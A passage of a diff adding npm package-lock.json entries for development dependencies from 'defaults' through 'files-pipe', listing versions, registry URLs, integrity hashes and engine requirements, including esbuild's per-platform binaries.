"https://registry.npmjs.org/defaults/-/defaults-1.0.4.tgz", + "integrity": "sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==", + "dev": true, + "dependencies": { + "clone": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/define-lazy-prop": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-3.0.0.tgz", + "integrity": "sha512-N+MeXYoqr3pOgn8xfyRPREN7gHakLYjhsHhWGT3fWAiL4IkAt0iDw14QiiEm2bE30c5XX5q0FtAA3CK5f9/BUg==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/define-properties": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.0.tgz", + "integrity": "sha512-xvqAVKGfT1+UAvPwKTVw/njhdQ8ZhXK4lI0bCIuCMrp2up9nPnaDftrLtmpTazqd1o+UY4zgzU+avtMbDP+ldA==", + "dev": true, + "dependencies": { + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/detect-libc": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.0.1.tgz", + "integrity": "sha512-463v3ZeIrcWtdgIg6vI6XUncguvr2TnGl4SzDXinkt9mSLpBJKXT3mW6xT3VQdDN11+WVs29pgvivTc4Lp8v+w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/detect-node": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==", + "dev": true + }, + "node_modules/diff": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-5.1.0.tgz", + "integrity": "sha512-D+mk+qE8VC/PAUrlAU34N+VfXev0ghe5ywmpqrawphmVZc1bEfn56uo9qpyGp1p4xpzOHkSW4ztBd6L7Xx4ACw==", + "dev": true, + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/dlv": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", + "dev": true + }, + "node_modules/dom-serializer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz", + "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", + "dev": true, + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.2", + "entities": "^4.2.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ] + }, + "node_modules/domhandler": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz", + "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", + "dev": true, + "dependencies": { + "domelementtype": "^2.3.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.1.0.tgz", + "integrity": "sha512-H78uMmQtI2AhgDJjWeQmHwJJ2bLPD3GMmO7Zja/ZZh84wkm+4ut+IUnUdRa8uCGX88DiVx1j6FRe1XfxEgjEZA==", + "dev": true, + "dependencies": { + "dom-serializer": "^2.0.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/dot-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "dev": true, + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/dset": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/dset/-/dset-3.1.2.tgz", + "integrity": "sha512-g/M9sqy3oHe477Ar4voQxWtaPIFw1jTdKZuomOjhCcBx9nHUNn0pu6NopuFFrTh/TRZIKEj+76vLWFu9BNKk+Q==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "dev": true + }, + "node_modules/electron-to-chromium": { + "version": "1.4.455", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.455.tgz", + "integrity": "sha512-8tgdX0Odl24LtmLwxotpJCVjIndN559AvaOtd67u+2mo+IDsgsTF580NB+uuDCqsHw8yFg53l5+imFV9Fw3cbA==", + "dev": true + }, + "node_modules/emmet": { + "version": "2.4.5", + "resolved": "https://registry.npmjs.org/emmet/-/emmet-2.4.5.tgz", + "integrity": "sha512-xOiVNINJFh0dMik+KzXSEYbAnFLTnadEzanxj7+F15uIf6avQwu3uPa1wI/8AFtOWKZ8lHg7TjC83wXcPhgOPw==", + "dev": true, + "dependencies": { + "@emmetio/abbreviation": "^2.3.3", + "@emmetio/css-abbreviation": "^2.1.8" + } + }, + "node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "dev": true + }, + "node_modules/end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dev": true, + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "dev": true, + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/es-module-lexer": { + "version": "0.10.5", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.10.5.tgz", + "integrity": "sha512-+7IwY/kiGAacQfY+YBhKMvEmyAJnw5grTUgjG85Pe7vcUI/6b7pZjZG8nQ7+48YhzEAEqrEgD2dCz/JIK+AYvw==", + "dev": true + }, + "node_modules/es6-error": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz", + "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==", + "dev": true + }, + "node_modules/esbuild": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.15.18.tgz", + "integrity": "sha512-x/R72SmW3sSFRm5zrrIjAhCeQSAWoni3CmHEqfQrZIQTM3lVCdehdwuIqaOtfC2slvpdlLa62GYoN8SxT23m6Q==", + "dev": true, + "hasInstallScript": true, + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/android-arm": "0.15.18", + "@esbuild/linux-loong64": "0.15.18", + "esbuild-android-64": "0.15.18", + "esbuild-android-arm64": "0.15.18", + "esbuild-darwin-64": "0.15.18", + "esbuild-darwin-arm64": "0.15.18", + "esbuild-freebsd-64": "0.15.18", + "esbuild-freebsd-arm64": "0.15.18", + "esbuild-linux-32": "0.15.18", + "esbuild-linux-64": "0.15.18", + "esbuild-linux-arm": "0.15.18", + "esbuild-linux-arm64": "0.15.18", + "esbuild-linux-mips64le": "0.15.18", + "esbuild-linux-ppc64le": "0.15.18", + "esbuild-linux-riscv64": "0.15.18", + "esbuild-linux-s390x": "0.15.18", + "esbuild-netbsd-64": "0.15.18", + "esbuild-openbsd-64": "0.15.18", + "esbuild-sunos-64": "0.15.18", + "esbuild-windows-32": "0.15.18", + "esbuild-windows-64": "0.15.18", + "esbuild-windows-arm64": "0.15.18" + } + }, + "node_modules/esbuild-android-64": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-android-64/-/esbuild-android-64-0.15.18.tgz", + "integrity": "sha512-wnpt3OXRhcjfIDSZu9bnzT4/TNTDsOUvip0foZOUBG7QbSt//w3QV4FInVJxNhKc/ErhUxc5z4QjHtMi7/TbgA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-android-arm64": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-android-arm64/-/esbuild-android-arm64-0.15.18.tgz", + "integrity": "sha512-G4xu89B8FCzav9XU8EjsXacCKSG2FT7wW9J6hOc18soEHJdtWu03L3TQDGf0geNxfLTtxENKBzMSq9LlbjS8OQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-darwin-64": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-darwin-64/-/esbuild-darwin-64-0.15.18.tgz", + "integrity": "sha512-2WAvs95uPnVJPuYKP0Eqx+Dl/jaYseZEUUT1sjg97TJa4oBtbAKnPnl3b5M9l51/nbx7+QAEtuummJZW0sBEmg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-darwin-arm64": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-darwin-arm64/-/esbuild-darwin-arm64-0.15.18.tgz", + "integrity": "sha512-tKPSxcTJ5OmNb1btVikATJ8NftlyNlc8BVNtyT/UAr62JFOhwHlnoPrhYWz09akBLHI9nElFVfWSTSRsrZiDUA==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-freebsd-64": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-freebsd-64/-/esbuild-freebsd-64-0.15.18.tgz", + "integrity": "sha512-TT3uBUxkteAjR1QbsmvSsjpKjOX6UkCstr8nMr+q7zi3NuZ1oIpa8U41Y8I8dJH2fJgdC3Dj3CXO5biLQpfdZA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-freebsd-arm64": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-freebsd-arm64/-/esbuild-freebsd-arm64-0.15.18.tgz", + "integrity": "sha512-R/oVr+X3Tkh+S0+tL41wRMbdWtpWB8hEAMsOXDumSSa6qJR89U0S/PpLXrGF7Wk/JykfpWNokERUpCeHDl47wA==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-32": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-linux-32/-/esbuild-linux-32-0.15.18.tgz", + "integrity": "sha512-lphF3HiCSYtaa9p1DtXndiQEeQDKPl9eN/XNoBf2amEghugNuqXNZA/ZovthNE2aa4EN43WroO0B85xVSjYkbg==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-64": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-linux-64/-/esbuild-linux-64-0.15.18.tgz", + "integrity": "sha512-hNSeP97IviD7oxLKFuii5sDPJ+QHeiFTFLoLm7NZQligur8poNOWGIgpQ7Qf8Balb69hptMZzyOBIPtY09GZYw==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-arm": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-linux-arm/-/esbuild-linux-arm-0.15.18.tgz", + "integrity": "sha512-UH779gstRblS4aoS2qpMl3wjg7U0j+ygu3GjIeTonCcN79ZvpPee12Qun3vcdxX+37O5LFxz39XeW2I9bybMVA==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-arm64": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-linux-arm64/-/esbuild-linux-arm64-0.15.18.tgz", + "integrity": "sha512-54qr8kg/6ilcxd+0V3h9rjT4qmjc0CccMVWrjOEM/pEcUzt8X62HfBSeZfT2ECpM7104mk4yfQXkosY8Quptug==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-mips64le": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-linux-mips64le/-/esbuild-linux-mips64le-0.15.18.tgz", + "integrity": "sha512-Mk6Ppwzzz3YbMl/ZZL2P0q1tnYqh/trYZ1VfNP47C31yT0K8t9s7Z077QrDA/guU60tGNp2GOwCQnp+DYv7bxQ==", + "cpu": [ + "mips64el" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-ppc64le": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-linux-ppc64le/-/esbuild-linux-ppc64le-0.15.18.tgz", + "integrity": "sha512-b0XkN4pL9WUulPTa/VKHx2wLCgvIAbgwABGnKMY19WhKZPT+8BxhZdqz6EgkqCLld7X5qiCY2F/bfpUUlnFZ9w==", + "cpu": [ + "ppc64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-riscv64": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-linux-riscv64/-/esbuild-linux-riscv64-0.15.18.tgz", + "integrity": "sha512-ba2COaoF5wL6VLZWn04k+ACZjZ6NYniMSQStodFKH/Pu6RxzQqzsmjR1t9QC89VYJxBeyVPTaHuBMCejl3O/xg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-s390x": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-linux-s390x/-/esbuild-linux-s390x-0.15.18.tgz", + "integrity": "sha512-VbpGuXEl5FCs1wDVp93O8UIzl3ZrglgnSQ+Hu79g7hZu6te6/YHgVJxCM2SqfIila0J3k0csfnf8VD2W7u2kzQ==", + "cpu": [ + "s390x" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-netbsd-64": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-netbsd-64/-/esbuild-netbsd-64-0.15.18.tgz", + "integrity": "sha512-98ukeCdvdX7wr1vUYQzKo4kQ0N2p27H7I11maINv73fVEXt2kyh4K4m9f35U1K43Xc2QGXlzAw0K9yoU7JUjOg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-openbsd-64": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-openbsd-64/-/esbuild-openbsd-64-0.15.18.tgz", + "integrity": "sha512-yK5NCcH31Uae076AyQAXeJzt/vxIo9+omZRKj1pauhk3ITuADzuOx5N2fdHrAKPxN+zH3w96uFKlY7yIn490xQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-sunos-64": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-sunos-64/-/esbuild-sunos-64-0.15.18.tgz", + "integrity": "sha512-On22LLFlBeLNj/YF3FT+cXcyKPEI263nflYlAhz5crxtp3yRG1Ugfr7ITyxmCmjm4vbN/dGrb/B7w7U8yJR9yw==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-windows-32": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-windows-32/-/esbuild-windows-32-0.15.18.tgz", + "integrity": "sha512-o+eyLu2MjVny/nt+E0uPnBxYuJHBvho8vWsC2lV61A7wwTWC3jkN2w36jtA+yv1UgYkHRihPuQsL23hsCYGcOQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-windows-64": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-windows-64/-/esbuild-windows-64-0.15.18.tgz", + "integrity": "sha512-qinug1iTTaIIrCorAUjR0fcBk24fjzEedFYhhispP8Oc7SFvs+XeW3YpAKiKp8dRpizl4YYAhxMjlftAMJiaUw==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-windows-arm64": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/esbuild-windows-arm64/-/esbuild-windows-arm64-0.15.18.tgz", + "integrity": "sha512-q9bsYzegpZcLziq0zgUi5KqGVtfhjxGbnksaBFYmWLxeV/S1fK4OLdq2DFYnXcLMjlZw2L0jLsk1eGoB522WXQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/estree-util-attach-comments": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/estree-util-attach-comments/-/estree-util-attach-comments-2.1.1.tgz", + "integrity": "sha512-+5Ba/xGGS6mnwFbXIuQiDPTbuTxuMCooq3arVv7gPZtYpjp+VXH/NkHAP35OOefPhNG/UGqU3vt/LTABwcHX0w==", + "dev": true, + "dependencies": { + "@types/estree": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-build-jsx": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/estree-util-build-jsx/-/estree-util-build-jsx-2.2.2.tgz", + "integrity": "sha512-m56vOXcOBuaF+Igpb9OPAy7f9w9OIkb5yhjsZuaPm7HoGi4oTOQi0h2+yZ+AtKklYFZ+rPC4n0wYCJCEU1ONqg==", + "dev": true, + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "estree-util-is-identifier-name": "^2.0.0", + "estree-walker": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-is-identifier-name": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/estree-util-is-identifier-name/-/estree-util-is-identifier-name-2.1.0.tgz", + "integrity": "sha512-bEN9VHRyXAUOjkKVQVvArFym08BTWB0aJPppZZr0UNyAqWsLaVfAqP7hbaTJjzHifmB5ebnR8Wm7r7yGN/HonQ==", + "dev": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-to-js": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/estree-util-to-js/-/estree-util-to-js-1.2.0.tgz", + "integrity": "sha512-IzU74r1PK5IMMGZXUVZbmiu4A1uhiPgW5hm1GjcOfr4ZzHaMPpLNJjR7HjXiIOzi25nZDrgFTobHTkV5Q6ITjA==", + "dev": true, + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "astring": "^1.8.0", + "source-map": "^0.7.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-visit": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/estree-util-visit/-/estree-util-visit-1.2.1.tgz", + "integrity": "sha512-xbgqcrkIVbIG+lI/gzbvd9SGTJL4zqJKBFttUl5pP27KhAjtMKbX/mQXJ7qgyXpMgVy/zvpm0xoQQaGL8OloOw==", + "dev": true, + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/unist": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-walker": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "dev": true, + "dependencies": { + "@types/estree": "^1.0.0" + } + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "dev": true, + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/execa": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-6.1.0.tgz", + "integrity": "sha512-QVWlX2e50heYJcCPG0iWtf8r0xjEYfz/OYLGDYH+IyjWezzPNxz63qNFOu0l4YftGWuizFVZHHs8PrLU5p2IDA==", + "dev": true, + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.1", + "human-signals": "^3.0.1", + "is-stream": "^3.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^5.1.0", + "onetime": "^6.0.0", + "signal-exit": "^3.0.7", + "strip-final-newline": "^3.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/expand-template": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz", + "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "dev": true + }, + "node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "dev": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fast-glob": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.0.tgz", + "integrity": "sha512-ChDuvbOypPuNjO8yIDf36x7BlZX1smcUMTTcyoIjycexOxd6DFsKsg21qVBzEmr3G7fUKIRy2/psii+CIUt7FA==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-xml-parser": { + "version": "4.2.5", + "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.2.5.tgz", + "integrity": "sha512-B9/wizE4WngqQftFPmdaMYlXoJlJOYxGQOanC77fq9k8+Z0v5dDSVh+3glErdIROP//s/jgb7ZuxKfB8nVyo0g==", + "dev": true, + "funding": [ + { + "type": "paypal", + "url": "https://paypal.me/naturalintelligence" + }, + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "dependencies": { + "strnum": "^1.0.5" + }, + "bin": { + "fxparser": "src/cli/cli.js" + } + }, + "node_modules/fastq": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz", + "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==", + "dev": true, + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fault": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fault/-/fault-2.0.1.tgz", + "integrity": "sha512-WtySTkS4OKev5JtpHXnib4Gxiurzh5NCGvWrFaZ34m6JehfTUhKZvn9njTfw48t6JumVQOmrKqpmGcdwxnhqBQ==", + "dev": true, + "dependencies": { + "format": "^0.2.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/fetch-blob": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz", + "integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "paypal", + "url": "https://paypal.me/jimmywarting" + } + ], + "dependencies": { + "node-domexception": "^1.0.0", + "web-streams-polyfill": "^3.0.3" + }, + "engines": { + "node": "^12.20 || >= 14.13" + } + }, + "node_modules/files-pipe": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/files-pipe/-/files-pipe-0.0.7.tgz", + "integrity": "sha512-BkXQoAEo1X3RqmEucIBLL1ddc/LM3lqsf5ipIf/bRrUTn3SQZWhThgpIl1/ma2VNesB2hBoY+CB0rrZ3b1tQhA==", + "dev": true, + "dependencies": { + "deepmerge-ts": "5.1.0", + "fast-glob": "3.2.12" + } + }, + "node_modules/files-pipe/node_modules/deepmerge-ts": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/deepmerge-ts/-/deepmerge-ts-5.1.0.tgz", + "integrity": 